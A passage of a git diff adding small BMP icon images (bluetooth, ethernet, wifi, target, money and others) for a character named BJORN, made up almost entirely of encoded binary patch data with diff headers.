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 HmtX%cMd6Na literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/bluetooth.bmp b/resources/default_config/characters/BJORN/static/bluetooth.bmp new file mode 100644 index 0000000000000000000000000000000000000000..58e207902f9a067c91194b5d2af3b493d175ff34 GIT binary patch literal 446 zcmZ?r-N(oP24+A~1Bf|+m=A~<86S2gkj)63|zc;$*g)U7x2I1|Rw+NP@csMu469eIxp3hkP~o9NhxK#~ ze|-Ob=FC}D6%AKscZTSwSQTaU?b~;pIC0X@!1(RkcT*-$RZ>)~D6eGr_U&79Q;VFe zVoY?bk)cUgXoRAI%F30ifF?oh+q`MBnyRLxgp7@~-Q`P{QQWd=BQ`mpnN5ulGvm3xKMXAm+{4NF&Ue3a@B7D>C_KJ5@RfR^UMNwJK|%QB{QEhphX9<<=jC#FI2`u- zJ?Q)X>2yLzucVHgeu1Ix0m*Q>7UwrzW!hfW{v)@n7=G$l#GLqc?rw;=U;y;7;*$?`A-`3r?Y zsZ=5=e6?C(V=e#Z?Q}X>9<~7?D${klUAXJI_>afq<#J(@v<2aD9HZaw_cTr0?RK$P MY_(dq+YJT%2UDPpqW}N^ literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/charging1.bmp b/resources/default_config/characters/BJORN/static/charging1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..4482007cb14c4037e70174f4d28c29677689d4a7 GIT binary patch literal 438 zcmY+AJ&J@t5QQ~yvSq_L!h-pjZ@xz`@(kvyh>5=_DB}rCOxIjCF*4Lp!4oKGpfk>+ z3mT`O9>v$s>Surd{D}gq8}ti(L4Tq};R+RmU!4DcP%{8Yk|c_vEX(e!FoS?wmUXpoaLSz+`%58QE_cl!Y+`C%N#5vLfS#K~V2MP1kQ;hBTzy52Mm_xrxT?>pjY znx-hqG)-X`^8LuBs%lkL^E?MZaL!YfW#9MMgB#C$+qPjC_YuW6utTbT)QR?f}t2TW?WFplwBnusR^meu~e*e!M=tC3pV|5Me3NCw2MMg z+_9*|rNuh5i+<3ST`?&Xu%^Ha!weteVGt5GrZ4y2ygBc@JLlcQc|YAHV?9B&An*On zJ9OW`gE;>Nu%E-#l%!h*(SX=$HoNV1uiNctnj*^pRYhs5D(a|{!39f}q^u}@+1}2b zoU}C!Q7)Cva=B8m*zI)sHyRBh^g7tz_jo*3i^b(~Jz$u??Cj@c(&2EJOr}RxYbX@@ zeSM985asiE0O4@BQZCnSZhjUDFJ@*Q+wGa%T{Qi%x99bGeLi2kRwH^dKOYDLbY0h4 zEkyD1vT$+X8Xu2uZUTe=MNyni=gQI&5n7~ocJy9PZZvTCe0q9gef|CFD!Suy0DcsN zXH!!|_OY?A=`^@dkLsD6jK||E%gcVhf5c60ZEiF;wM*ON&pfMVaCK8Ft)fJ`z b_x|-*H#{B~j6IY>hBmZ$$Q_yfpAFF;L)O8a literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/cred.bmp b/resources/default_config/characters/BJORN/static/cred.bmp new file mode 100644 index 0000000000000000000000000000000000000000..47ea10c6f450d336dfbc7448a277d5ec664c7546 GIT binary patch literal 1062 zcmZ?rRbycQ12Z700mMR3%*Y@C7XQG^z;J{Qg24hn;y(z&^c_EbQb$`~Q9(sTSsg1jN^%%PJxAlO|08Dknl8&{aT%K0f~M-+%c1`*%umx|D=0#Ho1gQ&rJW zlve>-|L@;Fpq0Q723iITDO~QH40R{aH~M{nb1EG7#u)<01;5Do~}VkN?J~Ku8FZZP!mKP z=)dx^3RL^%&7Cj6CoC(YASbH`L_j5i0-}NfB0$3+B0!R#PpGM>6;C;udiojgm1~>esyCX(2UX0PBM=fnu*OZ8}n~cDzOZ%Djjx3!<;g2coExU1o=?BMA_kPcL-tV06obzgpzX<5OG=O|C#<$_nk2C)h{59Ie z&IG{k^IEM|)oL}7NVwf@v)QcGYM-B<0Zk^8%jJs4e+n|gV9K@b511OkD_;~9-czuzB=#gfV7`};c}>;r+o z>+357xx2dq<^BCVQmfTYr}OjkbHCqT(%o*i^Z6Wd0EGSVcm)1%ICQ&Ruh%P)NKmKK z0d=KPd3$>^7z|>un9XL>>2xZU3dmxyL?V%1uMY-;#bR-{+x2=qRIAlAnp2_wXUXMq zIEj=><&~ODCevs%2m%QED=(kVM<+u_CX@MmzH~ZWuh)me;dnfr&1RFyWHcHz8jVaQ z1GP~o6nH$I!{H#C%~mKBE`JZAR;!iI=d;-?oCnP1a?NHFK5-G0N+qk+iq`8jlmUWB zrBX-+hr?YZ0}Rvy$^|3RZnrm^4T?si6bj`^ck30VAsh}Pp-^~Bfyr~ZTm%il^xYyK z9v%?P?=3ebe`@B}*O$ZLU^1DQihoH4gJHMZ`~Cj+{ehDoA0Hl%2gX*VQbE&TWS^d% TpyN874z5rtl^P5Nmx`l5bKd;E literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/ethernet.bmp b/resources/default_config/characters/BJORN/static/ethernet.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c5e20d8ea72342894513ed1ca1bb8288294dfe1a GIT binary patch literal 670 zcmZ?royWug24+A~1Bm&cn2|vOES>?BKLQj4VHnu4V~3@srJ9PN z15gD_8$McIUY>!0pPwID4L3J89~b}`$l~nm>3rC;M^=K&K6>;hs@gq!_H5m{b^iSMixw?f37MG6@2(4xndcWMqKB2aFl404OCTB{gf- HECvPu_ZqmM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/frise.bmp b/resources/default_config/characters/BJORN/static/frise.bmp new file mode 100644 index 0000000000000000000000000000000000000000..17295513d003b3f69bc868f05139307ca315de4c GIT binary patch literal 4146 zcmZwK3DA#K8wT)Kq3p6}4Oz1*B}(29l_`7nCEL(qB!py(X|W77mJy{gvX!NYWTzNg z`0UHjL^T*?8^%|@U+%AG{zK2q`@HA5&pFq*&wZ}@y3aqoX^q@zH=kPG<^2uwm(5>> zv_jr#Y5&cYmbNKp{M|Hoz5e>^_3G7o=%I%mfBf;bZQFkM;fE(rp1gSR;=FnDx^(GM zzkdBEo_L}|hYqu6&pvqY;PmO!8#QWFym;~a`SVwAuwX$0JcSAsDpRIR!-fstefQm;e){S6-+%w~(@&wngxtAv=g&U-4D6IC zQ_|DZixw?fpg@6Y)vERC)ocCw^`}mqTC`}s~R;_a7%30SK&wcmZSE*7Z zutSFq-MMq;kt0Vm9(m-E!i5X#ty8DYn{U4P-FM&h?c3ML*l3O%IV}3oM;~q5wr$Lq zF-@8@DOp|*QIt;2^8fAYyEOOz;)IdkS)V0}WiJ8q91JGNrQinj~^ShZ@^TZ}&Q zh+H%9JVEcinXte{LD9H%pc*S+i!CpLQx}oC!PRXm~T`%a<=s$}X%ZhS95$H*el(14&j4SU%tt zMg^MQyYId`f#s4e`$a#GQ}78eKoC2^+pJl$FTeb9)TmMDl+10{t{tW=Uc4B46C>Zg z`R1Gb`}fb7F(Z{H_$e2#YuBz_dVl=!$L-sRW%4U4qeym|A{qesu2IU`Rs{&VxO%7O(8L}wQJWlvQ3*d5p&9L z|NeWa%IKh-qsBe=+%s+3wBLUFjVSf* z-Mc}91~qHel$egyzMP0L@tFAY&p&_u`R75B2OfAp#60cWw-*PC8fL}dIS!MfUw{48 zyGM^6k{7Ho4$h8J(;dec?9;^XP*^b zE*YG}{NK^P@_Vi#tl>@29C`xF|7+K-1%lML9abex${c*x28mA=j6_bkso}Vt`_oT9 zoxm#k;uf&D8g?XEx^!t6F(=U((U>)B7L_o|NZ`h}erP8#censU3Hg(_6vV^)5hF&N zJ$rWi`0+F(af7O;<6nLCRh+x77%u`c)ZrSbC`64wr08Xgh75Y|z4x4^`#^GJddVq~ zAwIDdk~;_#a*qNVSCO7QdxoYZ&S)r?-kg8wrI+Zfdr?p>z~$iFxpPTM7;QEPEEFqN ztcVO1hXA=9*69o!IFPotZrwWg9Jwjcl&3e|cq68`Cq&9LZ{9qSW%oTX5AG$}(!YOy zMu%cW0W4XvBr#DScy4!be6dH%2`L)8zgb24#1gKWQp~L>0u>VEPO@Rc1`MZrU?r>* zpFDZ;o;`cyRO~%qWk;t@otz-@gB6W97aHi2$>-Q$z}hB_b(+LheK$sCp{24VECCzw z#1?{Z`0!zcAT^B2fn50d>#sqv#}w`fsoe!EszXyf!MZ(0oBXvh%3PMJgs@Jt^*LU7|C+=xH2?fw=gGj5=At$an%G8)3DxFMS zHvst=WidXJw}VctUos_-!KTKfNRc9lngltSF5Pq`pGkxNp5*gi8`h%9Qakl38zZY! zsbUw2#3j=eHP7vCBm*?K{ph2Q3UW|AwM$;Ox7;2aRr~gzB#s+Dd5HgR3j#>`2p4?F zg3s<|=s;DOt5>h87ZgB3@tiv0u$zE88)C4l;FeBLPj{p6>yjooady8Dfr~)ETE#)P zXwd>KPng^|iuzkdCsr`v_)WQ{8&N>gUaF9+S7{PdP7)Sf4F(&+@O)kQ#B`CT9aVEyQL l>#euI8cEZnr@5{}rW-~x!4esEMwdOsLN&CUWbqcO{{drENx%RA literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/gold.bmp b/resources/default_config/characters/BJORN/static/gold.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c729f59a8b7efaabc5264b3e4f963eaafa47795e GIT binary patch literal 1398 zcmZ{kStzVw7{_NY$FX#bWinjYQl>Lu>&8Pa#`dTWM)&@YHp2aRG$Ue`jY0|B;cA&dyGB5fKqDFE2E#va(VH zMCjw=Ge19%@y5mmh)8N{YmNSokB{;3@qAZRRRshDP_ROw$jQkmE-pSeI9Oj_*Jw0# zb#`}^D5+tJZck`!U7kxU;R9z^|wp;E#~78VxRis|X;@bGY) zQ8+j_tgWrh%*;4DJC~G{Fo>?MuGG|2T6lhbURG9y86hdw+uQqVe4(InI>HLF!t}Mi zzJ7dsJTEVg$=li45d$-G{Ndr@kM*N~kceHty1BVIHa6D9#ig~iH6$cN1joi)Kbr&| z0qK+IKRS#`OH0`$CZyBpy1TnKH#Z9l3nL>Vt*xz%5lk_R{b&BP(bLnDBE|gCfn8Ko z6dD?e%FD}(uyJv5_y-3ElQstL^Jlh)hll0m-__QD{Q&{q{9|~Vj;=~j!*7C_YHeN@Ba_J`Txw#&53my8yll} wetv$evs^A`kZem^TibvCKYtL7Z>H7P*C&2tT)X}K{ngdgv$M00HiDP@27kgC?*IS* literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/level.bmp b/resources/default_config/characters/BJORN/static/level.bmp new file mode 100644 index 0000000000000000000000000000000000000000..42f2a68dcb942cf0f9370b3ba07a2ffb247656bd GIT binary patch literal 1062 zcma))Kd3=b9LMkNy+Ns4-r{Zsd1O!qQar;m8Qv~gl$6P0F_Fzq8ObDNRu<|FV#KB- z3Z=Y3{w?o)-~GLNI-IBc>YRS(d%mCF?{`o4{p0mn(!z_~f%WpYWJ%TZuO~_RRA^}e zwr?$>(Wov+*=%;V+c_M+73%dm8Or6dEX(BadeMMnpU-D9nKGG7E|=@|daYK=Xf#@_ z)_6RAxm@6Z4k(dGAgNZXI)@TAo9%EoP?=;hX*QdS#Ujx8e9pMZWI_gxgJrYXK%UKJ z7K$TtS7wx3r3I;Z+J|_vd@pwEU3Xz9kzUCn8_j|Y7 m&7(L%WSuAxILIg+2m}a4a?|NPhnv-Ege#77i=>C literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/manual.bmp b/resources/default_config/characters/BJORN/static/manual.bmp new file mode 100644 index 0000000000000000000000000000000000000000..0c1954d279f6080c3e197d76e52decbf3937f673 GIT binary patch literal 1062 zcmZ{jzit{q5Qi59n($Yt(j!Hdj+7kK@nH%a$<#anA{7qe0nB0XB(yQd8_*ky+>r)i z*9I$v9VdZ1@^ND}Bq*!9(d^#u+nJl4efR!NRE5LD9`U|hQlpf-;R5FS z`nA!PIlRwryEfE*v=BuI+g)pAcyAj$5yOEf#mJ*2hF55sSrOs*JOg@RI%#)rmaGWPxTCLB29>+5>GPG)AoL?)U263f`1}$EgX$T;$!iVYYuUzbD@-F9aBB3M3FToNeV5gXwEPU z5T&SerBYe1R!@%)nj=XDVWg7#@emUSE@zxpPT>eCoP;4Ha`F59zK*x!tmA+4lq6@f z861PaK$?4-%auyjwk{Xjx{UwSMT7!jWgFp!LkF>K+e&%v=lIL#bAXUkNlbG%vWTtK zYBb`P=~O8W@%(&y?(DU%J@n}&WHf4c?ljGEahK2MGnvfr|9$2R1~g)^SiD~@!#<;o zocMe`qxT|_NTWetPXgc9@n{Jai3D_ebF=Gfxfjf6SaSI59#yLx6@^G8lkIl(gE=>Rc literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/money.bmp b/resources/default_config/characters/BJORN/static/money.bmp new file mode 100644 index 0000000000000000000000000000000000000000..cd3a033b8147a4ec6467a2cbc78cc53ff7f0a1da GIT binary patch literal 1062 zcmZXTOHW!+6on5dP6}S2Ns~_K$TUp=I|3ZiicYYJX#D|*sTw-c5+{}p1pFO^Ninf0 z5C1`@psil$K&ef1B$y`hQ1L=P&K1+g4)^A8&RTo#v-Y|#UOq7j86MtGc^=$82JuMl z|GFo{7e#;M2Cr7Lq5rNf+r3`5QdX0Rgx~LX%3zU9Cdy@%BLH{c0q>@BU8|i%qi@Y- z^U%-`oFFkh?Q}SdMx%My9F0Z+0Mn_G$G;!ds@Llk!Vq~A+1uOIw400!7Q3a=^71mB zdAuHAI#md&lgQ(CTP&7*KHrmZdUEni1`B;BoBgaPipS#t3`K};S6f+GAzdz?1H#_> zSd1L{{aM6fvCIC|dr;W~-0OCQP*v4rGSLYqT}?};(;SAw;Zc`sbkr3N&+|8(N|7GG z;^J$-WmOd-9*-jgccO8a!QhPDZs%J5@qU0E85x`k`e$l0aFK_(=ip8f=5XX=|smuvM84M`OyBiuOw?WE&u=<@Mz|)Pnw}6 zo7F~pG~@I6V0_x%-q|Vi>$RFtT~6o3guk!LMqiiRTV0RrHA(Y|awY9bLdQB&RAAEl-sg6OB Y>F&El^2y1G&CO(`QbtbzdJ)O{4M#3Qwg3PC literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/networkkb.bmp b/resources/default_config/characters/BJORN/static/networkkb.bmp new file mode 100644 index 0000000000000000000000000000000000000000..967d706aab76c5b687d63259993795faaa8a734d GIT binary patch literal 134 zcmZ?rZDW7{J0PV2#6nQa$iN7e@BorW_#l`G$Od5$_zwdA4lwNh;lLpO$AN+W_W=g} r?*|xm$sb_&$B)1df&9ln@#i}aF#P}L0K`DOb`A{xK_yDUL_}Iqd!9u=}&yk^dT%^Q9%l3kvh!zIz9< z3hXklzMsE;|N8yw)r;r$u5Kc+WhS!^*=>7ix8(^C*>8Pqwe+%dPLG0##r3P_fBy!m z{Rz~`z;N~Uoy3&X=!l4jzyKL_HS=Yso%VmQ+wvHSHa~LQ^~PrNGf7jsARouLxX{?R z@Ka}wF)*xMzn)7;S3IFcEWSpisLy8ob-QiPY_~i?psmkrH$Ks-UMLk;Czaa9plLI4 zLJtGOmNl!TeUoeteX~FC)o$-c>#fhNw>-l{w!7ck?fdL_{J&&k28OL`*GPHA zS#5u1v+V_@aukuR&w&Pu$5c%Q*$31o=@o0W{WZPxty?4I8DqKaC06^aHb1rA@)Q`J z)#fbsHz2g*t?jONHakIF>+Nr>x4p96`Oap?8{3_)?e~0= zh=%Kv0{U;)JL9>>4JPl=pRmJd)^Yv*ZHChi7);)+KWPt;tJkyHaOysTNxL2PeM8bG z=^1Bx@VioGqojYbm|K)WN~4HlkZfe3w10}Uf2vA$n~=4KbV#<8U$WETKjI+!dLi-P z6K{L)n|}XRt@=fpHS_d(wy0Ok)NNm_)38{#afxC7Hnq}e+Re*!8W%Yo{VN$)H>Dq_ zZ}Xbf!uA0MOD>r#yKb`Vn#r;oCQGlGEWcs0{F=!MFj{sMC}_Owiplb;rmJoX`Q=XT z>0)3weDI)zyu7fQu9&6)D$*Czgd@0=A-}lfvc(G-7`}b`cIMQnBm4IrJFt%+I_ literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/target.bmp b/resources/default_config/characters/BJORN/static/target.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9808765f9f3b1503df3dc728fd567d18e6e84cab GIT binary patch literal 1062 zcmYk5StzYh6vy{HgV`~4j$6D)9Ty=F4jv5M3`K`h!ihX0WQYe-k-`h5l<|a+DTNn# z@Z=&gM}{YvmEm|WWw`g(_uYHCyY~0(z1DxN{ont!_D`c;C8S~C`-AEJcYYJ!CA&o_ z#4n9JB?F(|()jxN;(u~-($muu7Z>N~=!i?B(HM=!fq{YR>uVYI@$vEb`N>)cIfCWb z*jQj-AlS6Dw7R;wwzjsas;Z=R%6QAWMK zzAi2~L8GC#CqN1Yr_jf$IySp779W^yIa6Udh#&UmupOKN_ z?CiX`xhaPVaeI3k5fKp+6Z7)&^7Qo7(9q!O>Iy`!*W20Id3kw31?NIR?3$XIkfXG;bbo*U^73+PYs+LZ;qCA5$2&4ILdu1O1u3qepddCj_WAkw z;NZZ+!=t361T!}{J3C{+?Nd@xe0_a6kGpEM+Un|RDK0cLlu(wvy}gKebaVvU%F0TA zfB*XWdJ;gz$;oMad>l+-Vq#WS7BUFo?d@GrQGuYJYk))oUp14+5S9f-HY;A3ahK9hTrlzK+ zr@y_u36YbNgGz8;UtdSY=H_PncXxM7OG|VDJe+ zI5?P`oJ@)6JW@hMisNH8o0UpsYilcOPMw^b%+JrKL8!^>>@4cBKqd;=*w`pjk@^hc z2#=YHb0pFK4~xY@L5PzFl3iV0{d-3M$%URYR(W~(=;-L&+}!Z+a9&=XR;O!eX+b{X zC@@V)`$+G|`T&-fmysqYD2TVAP$-Z$EG(?7tc*@SKR-7Z3<(JdoWNbA^N6#CVn(U$ W?d`R-HQ;oql{2O2?Cg}cLi_gosvvjh~#+9psl0k*AzcYqWO ze-hd=x{(WH*-6gLcfa$?mvisy+b4;-dV!OLe)?$wJ$L>G%)h|=?%%o%>wG>l3^Sk4 z%d#9!ZU~KxY;~hmSvmGhT}Nc z`af3Jb<473S(YRzP16xR%v~%N5WQZnSF06lo##1@W31mG&N-<-$w%>2R-|zlzXPepnsLQ>F!@1wjJ?CD|UA{Ix z2Ero+?JQhl`qv`G-- zODWE*v|w(0n|_!Bb6duix?P_zLzoi?-`oDfo=~X=i*D2vZDO}lK{awolSVSr2|7sc zUGSqI)@6jEk_i{THgyq601$$Ft@5D`EXLuNwDWsZ3W{=^S&Kzg3W?C_rF8c~A2YH_ z2j=Q^w>d8d@TKvaCARbwSaWB#4M6HeBxjAlsQHW}DRK;E&7SkwG{|Nga@u{%1JKAc z>!4Uaq9Q9bm?`g9p;nb5-F0%Ny~4J6k)WiJlfu#0@eS_pYXG>h`K|#>$HzawVj@RJ z?Dj-r%@(>k*u3>3`k8WqDUVKSGJ@Heehr{%#Z7dNPHMz(G>4^X(#eMxtmhr4T`p!M z6SaaKl(m|m*e5-#M)Uf)^8awkg`{w&(EO0= z>kS0_0dx*;5O<{h$v6EkH@Rt`&MZ0Eo+#N4@RSC4o-N7Ywr)od1{a%=Ea4Uk@}`CF7vh{tt`&2MA*^;zCCem`EieQLmfJ>+TzLp8jiiRCsbI*p2ao_bu`!tMqSCD z*pMCX*&pwDd%cTN;&u1hW#>=ADNF2`bF-awnNI+C%KN%~9rrt5FfFc)b@sXC<`|nE zOnR`M0Eq_#&552*B^fFsqN_N{3%fEPy847CvgWGJ;?IjkA0qd9ZgJg)hd@$ XQS-Fm)z2;;$8&-d(V&#)IPA~gj3r~2 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/wifi.bmp b/resources/default_config/characters/BJORN/static/wifi.bmp new file mode 100644 index 0000000000000000000000000000000000000000..eb95ff985d0de4e24ae6448347cfb4a532fd9f7d GIT binary patch literal 950 zcma)4&x`3%6#qVx6}@@h>QST_3T69Z!}L;=9%@QSDYCJVKLHC1vt%Po&0>hKk{XoF 